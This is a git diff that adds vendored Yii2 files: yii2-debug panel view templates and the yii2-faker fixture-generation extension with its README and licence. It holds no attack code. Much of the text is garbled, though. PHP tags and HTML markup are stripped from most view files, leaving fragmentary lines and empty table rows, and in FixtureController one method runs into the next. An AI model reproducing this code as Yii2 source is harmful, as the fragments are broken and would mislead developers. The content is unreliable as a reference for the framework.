            diff --git a/php/yii2/basic/vendor/yiisoft/yii2-debug/views/default/panels/assets/detail.php b/php/yii2/basic/vendor/yiisoft/yii2-debug/views/default/panels/assets/detail.php new file mode 100644 index 00000000..0a1e18c7 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-debug/views/default/panels/assets/detail.php @@ -0,0 +1,68 @@ + +

            Asset Bundles

            + +data)) { + echo '

            No asset bundle was used.

            '; + return; +} ?> +
            + +data as $name => $bundle) { +?> + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
            +

            Total data) ?> asset bundles were loaded.

            +

            sourcePath
            basePath
            baseUrl
            css 'assets']) ?>
            js 'assets']) ?>
            depends
              + +
            • + +
            diff --git a/php/yii2/basic/vendor/yiisoft/yii2-debug/views/default/panels/assets/summary.php b/php/yii2/basic/vendor/yiisoft/yii2-debug/views/default/panels/assets/summary.php new file mode 100644 index 00000000..945dcf1d --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-debug/views/default/panels/assets/summary.php @@ -0,0 +1,8 @@ +data)): +?> + + diff --git a/php/yii2/basic/vendor/yiisoft/yii2-debug/views/default/panels/config/detail.php b/php/yii2/basic/vendor/yiisoft/yii2-debug/views/default/panels/config/detail.php new file mode 100644 index 00000000..3febbdb4 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-debug/views/default/panels/config/detail.php @@ -0,0 +1,35 @@ +getExtensions(); +?> +

            Configuration

            + +render('table', [ + 'caption' => 'Application Configuration', + 'values' => [ + 'Yii Version' => $panel->data['application']['yii'], + 'Application Name' => $panel->data['application']['name'], + 'Environment' => $panel->data['application']['env'], + 'Debug Mode' => $panel->data['application']['debug'] ? 'Yes' : 'No', + ], +]); + +if (!empty($extensions)) { + echo $this->render('table', [ + 'caption' => 'Installed Extensions', + 'values' => $extensions, + ]); +} + +echo $this->render('table', [ + 'caption' => 'PHP Configuration', + 'values' => [ + 'PHP Version' => $panel->data['php']['version'], + 'Xdebug' => $panel->data['php']['xdebug'] ? 'Enabled' : 'Disabled', + 'APC' => $panel->data['php']['apc'] ? 'Enabled' : 'Disabled', + 'Memcache' => $panel->data['php']['memcache'] ? 'Enabled' : 'Disabled', + ], +]); + +echo $panel->getPhpInfo(); diff --git a/php/yii2/basic/vendor/yiisoft/yii2-debug/views/default/panels/config/summary.php b/php/yii2/basic/vendor/yiisoft/yii2-debug/views/default/panels/config/summary.php new file mode 100644 index 00000000..07846f37 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-debug/views/default/panels/config/summary.php @@ -0,0 +1,11 @@ + + diff --git a/php/yii2/basic/vendor/yiisoft/yii2-debug/views/default/panels/config/table.php b/php/yii2/basic/vendor/yiisoft/yii2-debug/views/default/panels/config/table.php new file mode 100644 index 00000000..60f79852 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-debug/views/default/panels/config/table.php @@ -0,0 +1,33 @@ + + +

            + + + +

            Empty.

            + + + + + + + + + + + + $value): ?> + + + + + + +
            NameValue
            + + diff --git a/php/yii2/basic/vendor/yiisoft/yii2-debug/views/default/panels/db/detail.php b/php/yii2/basic/vendor/yiisoft/yii2-debug/views/default/panels/db/detail.php new file mode 100644 index 00000000..4bd839f5 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-debug/views/default/panels/db/detail.php @@ -0,0 +1,75 @@ + +

            Database Queries

            + + $dataProvider, + 'id' => 'db-panel-detailed-grid', + 'options' => ['class' => 'detail-grid-view'], + 'filterModel' => $searchModel, + 'filterUrl' => $panel->getUrl(), + 'columns' => [ + ['class' => 'yii\grid\SerialColumn'], + [ + 'attribute' => 'seq', + 'label' => 'Time', + 'value' => function ($data) { + $timeInSeconds = $data['timestamp'] / 1000; + $millisecondsDiff = (int) (($timeInSeconds - (int) $timeInSeconds) * 1000); + + return date('H:i:s.', $timeInSeconds) . sprintf('%03d', $millisecondsDiff); + }, + 'headerOptions' => [ + 'class' => 'sort-numerical' + ] + ], + [ + 'attribute' => 'duration', + 'value' => function ($data) { + return sprintf('%.1f ms', $data['duration']); + }, + 'options' => [ + 'width' => '10%', + ], + 'headerOptions' => [ + 'class' => 'sort-numerical' + ] + ], + [ + 'attribute' => 'type', + 'value' => function ($data) { + return Html::encode(mb_strtoupper($data['type'], 'utf8')); + }, + ], + [ + 'attribute' => 'query', + 'value' => function ($data) { + $query = Html::encode($data['query']); + + if (!empty($data['trace'])) { + $query .= Html::ul($data['trace'], [ + 'class' => 'trace', + 'item' => function ($trace) { + return "
          • {$trace['file']} ({$trace['line']})
          • "; + }, + ]); + } + + return $query; + }, + 'format' => 'html', + 'options' => [ + 'width' => '60%', + ], + ] + ], +]); diff --git a/php/yii2/basic/vendor/yiisoft/yii2-debug/views/default/panels/db/summary.php b/php/yii2/basic/vendor/yiisoft/yii2-debug/views/default/panels/db/summary.php new file mode 100644 index 00000000..454f2997 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-debug/views/default/panels/db/summary.php @@ -0,0 +1,12 @@ + + + + diff --git a/php/yii2/basic/vendor/yiisoft/yii2-debug/views/default/panels/log/detail.php b/php/yii2/basic/vendor/yiisoft/yii2-debug/views/default/panels/log/detail.php new file mode 100644 index 00000000..088112c9 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-debug/views/default/panels/log/detail.php @@ -0,0 +1,76 @@ + +

            Log Messages

            + $dataProvider, + 'id' => 'log-panel-detailed-grid', + 'options' => ['class' => 'detail-grid-view'], + 'filterModel' => $searchModel, + 'filterUrl' => $panel->getUrl(), + 'rowOptions' => function ($model, $key, $index, $grid) { + switch ($model['level']) { + case Logger::LEVEL_ERROR : return ['class' => 'danger']; + case Logger::LEVEL_WARNING : return ['class' => 'warning']; + case Logger::LEVEL_INFO : return ['class' => 'success']; + default: return []; + } + }, + 'columns' => [ + ['class' => 'yii\grid\SerialColumn'], + [ + 'attribute' => 'time', + 'value' => function ($data) { + $timeInSeconds = $data['time'] / 1000; + $millisecondsDiff = (int) (($timeInSeconds - (int) $timeInSeconds) * 1000); + + return date('H:i:s.', $timeInSeconds) . sprintf('%03d', $millisecondsDiff); + }, + 'headerOptions' => [ + 'class' => 'sort-numerical' + ] + ], + [ + 'attribute' => 'level', + 'value' => function ($data) { + return Logger::getLevelName($data['level']); + }, + 'filter' => [ + Logger::LEVEL_TRACE => ' Trace ', + Logger::LEVEL_INFO => ' Info ', + Logger::LEVEL_WARNING => ' Warning ', + Logger::LEVEL_ERROR => ' Error ', + ], + ], + 'category', + [ + 'attribute' => 'message', + 'value' => function ($data) { + $message = Html::encode(is_string($data['message']) ? $data['message'] : VarDumper::export($data['message'])); + if (!empty($data['trace'])) { + $message .= Html::ul($data['trace'], [ + 'class' => 'trace', + 'item' => function ($trace) { + return "
          • {$trace['file']} ({$trace['line']})
          • "; + } + ]); + }; + return $message; + }, + 'format' => 'html', + 'options' => [ + 'width' => '50%', + ], + ], + ], +]); diff --git a/php/yii2/basic/vendor/yiisoft/yii2-debug/views/default/panels/log/summary.php b/php/yii2/basic/vendor/yiisoft/yii2-debug/views/default/panels/log/summary.php new file mode 100644 index 00000000..3ce1f3f1 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-debug/views/default/panels/log/summary.php @@ -0,0 +1,32 @@ + + +$errorCount"; + $title .= ", $errorCount errors"; +} + +if ($warningCount) { + $output[] = "$warningCount"; + $title .= ", $warningCount warnings"; +} +?> + + diff --git a/php/yii2/basic/vendor/yiisoft/yii2-debug/views/default/panels/mail/_item.php b/php/yii2/basic/vendor/yiisoft/yii2-debug/views/default/panels/mail/_item.php new file mode 100644 index 00000000..9d935c53 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-debug/views/default/panels/mail/_item.php @@ -0,0 +1,37 @@ + $model, + 'attributes' => [ + 'headers', + 'from', + 'to', + 'charset', + [ + 'attribute' => 'time', + 'format' => 'datetime', + ], + 'subject', + [ + 'attribute' => 'body', + 'label' => 'Text body', + ], + [ + 'attribute' => 'isSuccessful', + 'label' => 'Successfully sent', + 'value' => $model['isSuccessful'] ? 'Yes' : 'No' + ], + 'reply', + 'bcc', + 'cc', + [ + 'attribute' => 'file', + 'format' => 'html', + 'value' => Html::a('Download eml', ['download-mail', 'file' => $model['file']]), + ], + ], +]); diff --git a/php/yii2/basic/vendor/yiisoft/yii2-debug/views/default/panels/mail/detail.php b/php/yii2/basic/vendor/yiisoft/yii2-debug/views/default/panels/mail/detail.php new file mode 100644 index 00000000..e2211f61 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-debug/views/default/panels/mail/detail.php @@ -0,0 +1,59 @@ + $dataProvider, + 'itemView' => '_item', + 'layout' => "{summary}\n{items}\n{pager}\n", +]); +$listView->sorter = ['options' => ['class' => 'mail-sorter']]; +?> + +

            Email messages

            + +
            +
            + 'btn btn-default', 'onclick' => '$("#email-form").toggle();']) ?> +
            +
            + renderSorter() ?> +
            +
            + + + +run() ?> diff --git a/php/yii2/basic/vendor/yiisoft/yii2-debug/views/default/panels/mail/summary.php b/php/yii2/basic/vendor/yiisoft/yii2-debug/views/default/panels/mail/summary.php new file mode 100644 index 00000000..9195f097 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-debug/views/default/panels/mail/summary.php @@ -0,0 +1,8 @@ + +
            + Mail +
            + diff --git a/php/yii2/basic/vendor/yiisoft/yii2-debug/views/default/panels/profile/detail.php b/php/yii2/basic/vendor/yiisoft/yii2-debug/views/default/panels/profile/detail.php new file mode 100644 index 00000000..04ad0c1e --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-debug/views/default/panels/profile/detail.php @@ -0,0 +1,60 @@ + +

            Performance Profiling

            +

            Total processing time: ; Peak memory: .

            + $dataProvider, + 'id' => 'profile-panel-detailed-grid', + 'options' => ['class' => 'detail-grid-view'], + 'filterModel' => $searchModel, + 'filterUrl' => $panel->getUrl(), + 'columns' => [ + ['class' => 'yii\grid\SerialColumn'], + [ + 'attribute' => 'seq', + 'label' => 'Time', + 'value' => function ($data) { + $timeInSeconds = $data['timestamp'] / 1000; + $millisecondsDiff = (int) (($timeInSeconds - (int) $timeInSeconds) * 1000); + + return date('H:i:s.', $timeInSeconds) . sprintf('%03d', $millisecondsDiff); + }, + 'headerOptions' => [ + 'class' => 'sort-numerical' + ] + ], + [ + 'attribute' => 'duration', + 'value' => function ($data) { + return sprintf('%.1f ms', $data['duration']); + }, + 'options' => [ + 'width' => '10%', + ], + 'headerOptions' => [ + 'class' => 'sort-numerical' + ] + ], + 'category', + [ + 'attribute' => 'info', + 'value' => function ($data) { + return str_repeat('', $data['level']) . Html::encode($data['info']); + }, + 'format' => 'html', + 'options' => [ + 'width' => '60%', + ], + ], + ], +]); diff --git a/php/yii2/basic/vendor/yiisoft/yii2-debug/views/default/panels/profile/summary.php b/php/yii2/basic/vendor/yiisoft/yii2-debug/views/default/panels/profile/summary.php new file mode 100644 index 00000000..c78f2f1d --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-debug/views/default/panels/profile/summary.php @@ -0,0 +1,9 @@ + + diff --git a/php/yii2/basic/vendor/yiisoft/yii2-debug/views/default/panels/request/detail.php b/php/yii2/basic/vendor/yiisoft/yii2-debug/views/default/panels/request/detail.php new file mode 100644 index 00000000..59e9fe00 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-debug/views/default/panels/request/detail.php @@ -0,0 +1,35 @@ +Request"; + +echo Tabs::widget([ + 'items' => [ + [ + 'label' => 'Parameters', + 'content' => $this->render('table', ['caption' => 'Routing', 'values' => ['Route' => $panel->data['route'], 'Action' => $panel->data['action'], 'Parameters' => $panel->data['actionParams']]]) + . $this->render('table', ['caption' => '$_GET', 'values' => $panel->data['GET']]) + . $this->render('table', ['caption' => '$_POST', 'values' => $panel->data['POST']]) + . $this->render('table', ['caption' => '$_FILES', 'values' => $panel->data['FILES']]) + . $this->render('table', ['caption' => '$_COOKIE', 'values' => $panel->data['COOKIE']]) + . $this->render('table', ['caption' => 'Request Body', 'values' => $panel->data['requestBody']]), + 'active' => true, + ], + [ + 'label' => 'Headers', + 'content' => $this->render('table', ['caption' => 'Request Headers', 'values' => $panel->data['requestHeaders']]) + . $this->render('table', ['caption' => 'Response Headers', 'values' => $panel->data['responseHeaders']]) + ], + [ + 'label' => 'Session', + 'content' => $this->render('table', ['caption' => '$_SESSION', 'values' => $panel->data['SESSION']]) + . $this->render('table', ['caption' => 'Flashes', 'values' => $panel->data['flashes']]) + ], + [ + 'label' => '$_SERVER', + 'content' => $this->render('table', ['caption' => '$_SERVER', 'values' => $panel->data['SERVER']]), + ], + ], +]); diff --git a/php/yii2/basic/vendor/yiisoft/yii2-debug/views/default/panels/request/summary.php b/php/yii2/basic/vendor/yiisoft/yii2-debug/views/default/panels/request/summary.php new file mode 100644 index 00000000..cf84cfb7 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-debug/views/default/panels/request/summary.php @@ -0,0 +1,23 @@ +data['statusCode']; +if ($statusCode === null) { + $statusCode = 200; +} +if ($statusCode >= 200 && $statusCode < 300) { + $class = 'label-success'; +} elseif ($statusCode >= 300 && $statusCode < 400) { + $class = 'label-info'; +} else { + $class = 'label-important'; +} +$statusText = Html::encode(isset(Response::$httpStatuses[$statusCode]) ? Response::$httpStatuses[$statusCode] : ''); +?> + diff --git a/php/yii2/basic/vendor/yiisoft/yii2-debug/views/default/panels/request/table.php b/php/yii2/basic/vendor/yiisoft/yii2-debug/views/default/panels/request/table.php new file mode 100644 index 00000000..e270cd53 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-debug/views/default/panels/request/table.php @@ -0,0 +1,33 @@ + +

            + + + +

            Empty.

            + + + + + + + + + + + + $value): ?> + + + + + + +
            NameValue
            charset, true) ?>
            + + diff --git a/php/yii2/basic/vendor/yiisoft/yii2-debug/views/default/toolbar.php b/php/yii2/basic/vendor/yiisoft/yii2-debug/views/default/toolbar.php new file mode 100644 index 00000000..9309f641 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-debug/views/default/toolbar.php @@ -0,0 +1,46 @@ +getUrl(); +?> +
            + + + + getSummary() ?> + + +
            +
            + + +
            diff --git a/php/yii2/basic/vendor/yiisoft/yii2-debug/views/default/view.php b/php/yii2/basic/vendor/yiisoft/yii2-debug/views/default/view.php new file mode 100644 index 00000000..14908974 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-debug/views/default/view.php @@ -0,0 +1,82 @@ +title = 'Yii Debugger'; +?> +
            +
            + + + + + getSummary() ?> + +
            + +
            +
            +
            +
            + $panel) { + $label = '' . Html::encode($panel->getName()); + echo Html::a($label, ['view', 'tag' => $tag, 'panel' => $id], [ + 'class' => $panel === $activePanel ? 'list-group-item active' : 'list-group-item', + ]); + } + ?> +
            +
            +
            +
            + $meta['tag'], 'panel' => $activePanel->id]; + $items[] = [ + 'label' => $label, + 'url' => $url, + ]; + if (++$count >= 10) { + break; + } + } + echo ButtonGroup::widget([ + 'buttons' => [ + Html::a('All', ['index'], ['class' => 'btn btn-default']), + Html::a('Latest', ['view', 'panel' => $activePanel->id], ['class' => 'btn btn-default']), + ButtonDropdown::widget([ + 'label' => 'Last 10', + 'options' => ['class' => 'btn-default'], + 'dropdown' => ['items' => $items], + ]), + ], + ]); + echo "\n" . $summary['tag'] . ': ' . $summary['method'] . ' ' . Html::a(Html::encode($summary['url']), $summary['url']); + echo ' at ' . date('Y-m-d h:i:s a', $summary['time']) . ' by ' . $summary['ip']; + ?> +
            + getDetail() ?> +
            +
            +
            +
            diff --git a/php/yii2/basic/vendor/yiisoft/yii2-debug/views/layouts/main.php b/php/yii2/basic/vendor/yiisoft/yii2-debug/views/layouts/main.php new file mode 100644 index 00000000..d0012c6e --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-debug/views/layouts/main.php @@ -0,0 +1,24 @@ + +beginPage() ?> + + + + + + + <?= Html::encode($this->title) ?> + head() ?> + + +beginBody() ?> + +endBody() ?> + + +endPage() ?> diff --git a/php/yii2/basic/vendor/yiisoft/yii2-faker/CHANGELOG.md b/php/yii2/basic/vendor/yiisoft/yii2-faker/CHANGELOG.md new file mode 100644 index 00000000..ea6ab38c --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-faker/CHANGELOG.md @@ -0,0 +1,19 @@ +Yii Framework 2 faker extension Change Log +============================================== + +2.0.0 October 12, 2014 +---------------------- + +- no changes in this release. + + +2.0.0-rc September 27, 2014 +--------------------------- + +- Chg #4622: Simplified the way of creating a Faker fixture template file (qiangxue) + + +2.0.0-beta April 13, 2014 +------------------------- + +- Initial release. diff --git a/php/yii2/basic/vendor/yiisoft/yii2-faker/FixtureController.php b/php/yii2/basic/vendor/yiisoft/yii2-faker/FixtureController.php new file mode 100644 index 00000000..4c5a191b --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-faker/FixtureController.php @@ -0,0 +1,469 @@ + [ + * 'fixture' => [ + * 'class' => 'yii\faker\FixtureController', + * ], + * ], + * ~~~ + * + * To start using this command you need to be familiar (read guide) for the Faker library and + * generate fixtures template files, according to the given format: + * + * ```php + * // users.php file under template path (by default @tests/unit/templates/fixtures) + * return [ + * 'name' => $faker->firstName, + * 'phone' => $faker->phoneNumber, + * 'city' => $faker->city, + * 'password' => Yii::$app->getSecurity()->generatePasswordHash('password_' . $index), + * 'auth_key' => Yii::$app->getSecurity()->generateRandomString(), + * 'intro' => $faker->sentence(7, true), // generate a sentence with 7 words + * ]; + * ``` + * + * If you use callback as a attribute value, then it will be called as shown with three parameters: + * + * - `$faker`: the Faker generator instance + * - `$index`: the current fixture index. For example if user need to generate 3 fixtures for user table, it will be 0..2. + * + * After you set all needed fields in callback, you need to return $fixture array back from the callback. + * + * After you prepared needed templates for tables you can simply generate your fixtures via command + * + * ~~~ + * yii fixture/generate user + * + * //generate fixtures from several templates, for example: + * yii fixture/generate user profile team + * ~~~ + * + * In the code above "users" is template name, after this command run, new file named same as template + * will be created under the `$fixtureDataPath` folder. + * You can generate fixtures for all templates, for example: + * + * ~~~ + * yii fixture/generate-all + * ~~~ + * + * This command will generate fixtures for all template files that are stored under $templatePath and + * store fixtures under `$fixtureDataPath` with file names same as templates names. + * + * You can specify how many fixtures per file you need by the second parameter. In the code below we generate + * all fixtures and in each file there will be 3 rows (fixtures). + * + * ~~~ + * yii fixture/generate-all --count=3 + * ~~~ + * + * You can specify different options of this command: + * + * ~~~ + * //generate fixtures in russian language + * yii fixture/generate user --count=5 --language=ru_RU + * + * //read templates from the other path + * yii fixture/generate-all --templatePath=@app/path/to/my/custom/templates + * + * //generate fixtures into other folders + * yii fixture/generate-all --fixtureDataPath=@tests/unit/fixtures/subfolder1/subfolder2/subfolder3 + * ~~~ + * + * You can see all available templates by running command: + * + * ~~~ + * //list all templates under default template path (i.e. '@tests/unit/templates/fixtures') + * yii fixture/templates + * + * //list all templates under specified template path + * yii fixture/templates --templatePath='@app/path/to/my/custom/templates' + * ~~~ + * + * You also can create your own data providers for custom tables fields, see Faker library guide for more info (https://github.com/fzaninotto/Faker); + * After you created custom provider, for example: + * + * ~~~ + * class Book extends \Faker\Provider\Base + * { + * + * public function title($nbWords = 5) + * { + * $sentence = $this->generator->sentence($nbWords); + * return mb_substr($sentence, 0, mb_strlen($sentence) - 1); + * } + * + * } + * ~~~ + * + * you can use it by adding it to the $providers property of the current command. In your console.php config: + * + * ~~~ + * 'controllerMap' => [ + * 'fixture' => [ + * 'class' => 'yii\faker\FixtureController', + * 'providers' => [ + * 'app\tests\unit\faker\providers\Book', + * ], + * ], + * ], + * ~~~ + * + * @property \Faker\Generator $generator This property is read-only. + * + * @author Mark Jebri + * @since 2.0.0 + */ +class FixtureController extends \yii\console\controllers\FixtureController +{ + + /** + * @var string Alias to the template path, where all tables templates are stored. + */ + public $templatePath = '@tests/unit/templates/fixtures'; + /** + * @var string Alias to the fixture data path, where data files should be written. + */ + public $fixtureDataPath = '@tests/unit/fixtures/data'; + /** + * @var string Language to use when generating fixtures data. + */ + public $language; + /** + * @var integer total count of data per fixture. Defaults to 2. + */ + public $count = 2; + /** + * @var array Additional data providers that can be created by user and will be added to the Faker generator. + * More info in [Faker](https://github.com/fzaninotto/Faker.) library docs. + */ + public $providers = []; + + /** + * @var \Faker\Generator Faker generator instance + */ + private $_generator; + + + /** + * @inheritdoc + */ + public function options($actionID) + { + return array_merge(parent::options($actionID), [ + 'templatePath', 'language', 'fixtureDataPath', 'count' + ]); + } + + public function beforeAction($action) + { + if (parent::beforeAction($action)) { + $this->checkPaths(); + $this->addProviders(); + return true; + } else { + return false; + } + } + + /** + * Lists all available fixtures template files. + */ + public function actionTemplates() + { + $foundTemplates = $this->findTemplatesFiles(); + + if (!$foundTemplates) { + $this->notifyNoTemplatesFound(); + } else { + $this->notifyTemplatesCanBeGenerated($foundTemplates); + } + } + + /** + * Generates fixtures and fill them with Faker data. + * For example, + * + * ~~~ + * //generate fixtures in russian language + * yii fixture/generate user --count=5 --language=ru_RU + * + * //generate several fixtures + * yii fixture/generate user profile team + * ~~~ + * + * @throws \yii\base\InvalidParamException + * @throws \yii\console\Exception + */ + public function actionGenerate() + { + $templatesInput = func_get_args(); + + if (empty($templatesInput)) { + throw new Exception('You should specify input fixtures template files'); + } + + $foundTemplates = $this->findTemplatesFiles($templatesInput); + + $notFoundTemplates = array_diff($templatesInput, $foundTemplates); + + if ($notFoundTemplates) { + $this->notifyNotFoundTemplates($notFoundTemplates); + } + + if (!$foundTemplates) { + $this->notifyNoTemplatesFound(); + return static::EXIT_CODE_NORMAL; + } + + if (!$this->confirmGeneration($foundTemplates)) { + return static::EXIT_CODE_NORMAL; + } + + $templatePath = Yii::getAlias($this->templatePath); + $fixtureDataPath = Yii::getAlias($this->fixtureDataPath); + + FileHelper::createDirectory($fixtureDataPath); + + $generatedTemplates = []; + + foreach ($foundTemplates as $templateName) { + $this->generateFixtureFile($templateName, $templatePath, $fixtureDataPath); + $generatedTemplates[] = $templateName; + } + + $this->notifyTemplatesGenerated($generatedTemplates); + } + + /** + * Generates all fixtures template path that can be found. + */ + public function actionGenerateAll() + { + $foundTemplates = $this->findTemplatesFiles(); + + if (!$foundTemplates) { + $this->notifyNoTemplatesFound(); + return static::EXIT_CODE_NORMAL; + } + + if (!$this->confirmGeneration($foundTemplates)) { + return static::EXIT_CODE_NORMAL; + } + + $templatePath = Yii::getAlias($this->templatePath); + $fixtureDataPath = Yii::getAlias($this->fixtureDataPath); + + FileHelper::createDirectory($fixtureDataPath); + + $generatedTemplates = []; + + foreach ($foundTemplates as $templateName) { + $this->generateFixtureFile($templateName, $templatePath, $fixtureDataPath); + $generatedTemplates[] = $templateName; + } + + $this->notifyTemplatesGenerated($generatedTemplates); + } + + /** + * Notifies user that given fixtures template files were not found. + * @param array $templatesNames + */ + private function notifyNotFoundTemplates($templatesNames) + { + $this->stdout("The following fixtures templates were NOT found:\n\n", Console::FG_RED); + + foreach ($templatesNames as $name) { + $this->stdout("\t * $name \n", Console::FG_GREEN); + } + + $this->stdout("\n"); + } + + /** + * Notifies user that there was not found any files matching given input conditions. + */ + private function notifyNoTemplatesFound() + { + $this->stdout("No fixtures template files matching input conditions were found under the path:\n\n", Console::FG_RED); + $this->stdout("\t " . Yii::getAlias($this->templatePath) . " \n\n", Console::FG_GREEN); + } + + /** + * Notifies user that given fixtures template files were generated. + * @param array $templatesNames + */ + private function notifyTemplatesGenerated($templatesNames) + { + $this->stdout("The following fixtures template files were generated:\n\n", Console::FG_YELLOW); + + foreach ($templatesNames as $name) { + $this->stdout("\t* " . $name . "\n", Console::FG_GREEN); + } + + $this->stdout("\n"); + } + + private function notifyTemplatesCanBeGenerated($templatesNames) + { + $this->stdout("Template files path: ", Console::FG_YELLOW); + $this->stdout(Yii::getAlias($this->templatePath) . "\n\n", Console::FG_GREEN); + + foreach ($templatesNames as $name) { + $this->stdout("\t* " . $name . "\n", Console::FG_GREEN); + } + + $this->stdout("\n"); + } + + /** + * Returns array containing fixtures templates file names. You can specify what files to find + * by the given parameter. + * @param array $templatesNames template file names to search. If empty then all files will be searched. + * @return array + */ + private function findTemplatesFiles(array $templatesNames = []) + { + $findAll = ($templatesNames == []); + + if ($findAll) { + $files = FileHelper::findFiles(Yii::getAlias($this->templatePath), ['only' => ['*.php']]); + } else { + $filesToSearch = []; + + foreach ($templatesNames as $fileName) { + $filesToSearch[] = $fileName . '.php'; + } + + $files = FileHelper::findFiles(Yii::getAlias($this->templatePath), ['only' => $filesToSearch]); + } + + $foundTemplates = []; + + foreach ($files as $fileName) { + $foundTemplates[] = basename($fileName, '.php'); + } + + return $foundTemplates; + } + + /** + * Returns Faker generator instance. Getter for private property. + * @return \Faker\Generator + */ + public function getGenerator() + { + if ($this->_generator === null) { + $language = $this->language === null ? Yii::$app->language : $this->language; + $this->_generator = \Faker\Factory::create(str_replace('-', '_', $language)); + } + return $this->_generator; + } + + /** + * Check if the template path and migrations path exists and writable. + */ + public function checkPaths() + { + $path = Yii::getAlias($this->templatePath, false); + + if (!$path || !is_dir($path)) { + throw new Exception("The template path \"{$this->templatePath}\" does not exist"); + } + } + + /** + * Adds users providers to the faker generator. + */ + public function addProviders() + { + foreach ($this->providers as $provider) { + $this->generator->addProvider(new $provider($this->generator)); + } + } + + /** + * Returns exported to the string representation of given fixtures array. + * @param array $fixtures + * @return string exported fixtures format + */ + public function exportFixtures($fixtures) + { + return "getGenerator(); + return require($_template_); + } + + /** + * Generates fixture file by the given fixture template file. + * @param string $templateName template file name + * @param string $templatePath path where templates are stored + * @param string $fixtureDataPath fixture data path where generated file should be written + */ + public function generateFixtureFile($templateName, $templatePath, $fixtureDataPath) + { + $fixtures = []; + + for ($i = 0; $i < $this->count; $i++) { + $fixtures[$i] = $this->generateFixture($templatePath . '/' . $templateName . '.php', $i); + } + + $content = $this->exportFixtures($fixtures); + + file_put_contents($fixtureDataPath . '/'. $templateName . '.php', $content); + } + + /** + * Prompts user with message if he confirm generation with given fixture templates files. + * @param array $files + * @return boolean + */ + public function confirmGeneration($files) + { + $this->stdout("Fixtures will be generated under the path: \n", Console::FG_YELLOW); + $this->stdout("\t" . Yii::getAlias($this->fixtureDataPath) . "\n\n", Console::FG_GREEN); + $this->stdout("Templates will be taken from path: \n", Console::FG_YELLOW); + $this->stdout("\t" . Yii::getAlias($this->templatePath) . "\n\n", Console::FG_GREEN); + + foreach ($files as $fileName) { + $this->stdout("\t* " . $fileName . "\n", Console::FG_GREEN); + } + + return $this->confirm('Generate above fixtures?'); + } + +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2-faker/LICENSE.md b/php/yii2/basic/vendor/yiisoft/yii2-faker/LICENSE.md new file mode 100644 index 00000000..6edcc4f5 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-faker/LICENSE.md @@ -0,0 +1,32 @@ +The Yii framework is free software. It is released under the terms of +the following BSD License. + +Copyright © 2008-2013 by Yii Software LLC (http://www.yiisoft.com) +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions +are met: + + * Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + * Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in + the documentation and/or other materials provided with the + distribution. + * Neither the name of Yii Software LLC nor the names of its + contributors may be used to endorse or promote products derived + from this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS +FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE +COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, +INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, +BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; +LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER +CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT +LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN +ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +POSSIBILITY OF SUCH DAMAGE. \ No newline at end of file diff --git a/php/yii2/basic/vendor/yiisoft/yii2-faker/README.md b/php/yii2/basic/vendor/yiisoft/yii2-faker/README.md new file mode 100644 index 00000000..6c4ce4cd --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-faker/README.md @@ -0,0 +1,144 @@ +Faker Extension for Yii 2 +========================= + +This extension provides a [`Faker`](https://github.com/fzaninotto/Faker) fixture command for Yii 2. + + +Installation +------------ + +The preferred way to install this extension is through [composer](http://getcomposer.org/download/). + +Either run + +``` +php composer.phar require --prefer-dist yiisoft/yii2-faker "*" +``` + +or add + +```json +"yiisoft/yii2-faker": "*" +``` + +to the require section of your composer.json. + + +Usage +----- + +To use this extension, simply add the following code in your application configuration (console.php): + +```php +'controllerMap' => [ + 'fixture' => [ + 'class' => 'yii\faker\FixtureController', + ], +], +``` + +Define a `tests` alias in your console config. For example, for the `basic` application template, this should be added +to the `console.php` configuration: `Yii::setAlias('tests', __DIR__ . '/../tests');` +To start using this command you need to be familiar (read guide) with the [Faker](https://github.com/fzaninotto/Faker) library and +generate fixture template files, according to the given format: + +```php +// users.php file under template path (by default @tests/unit/templates/fixtures) 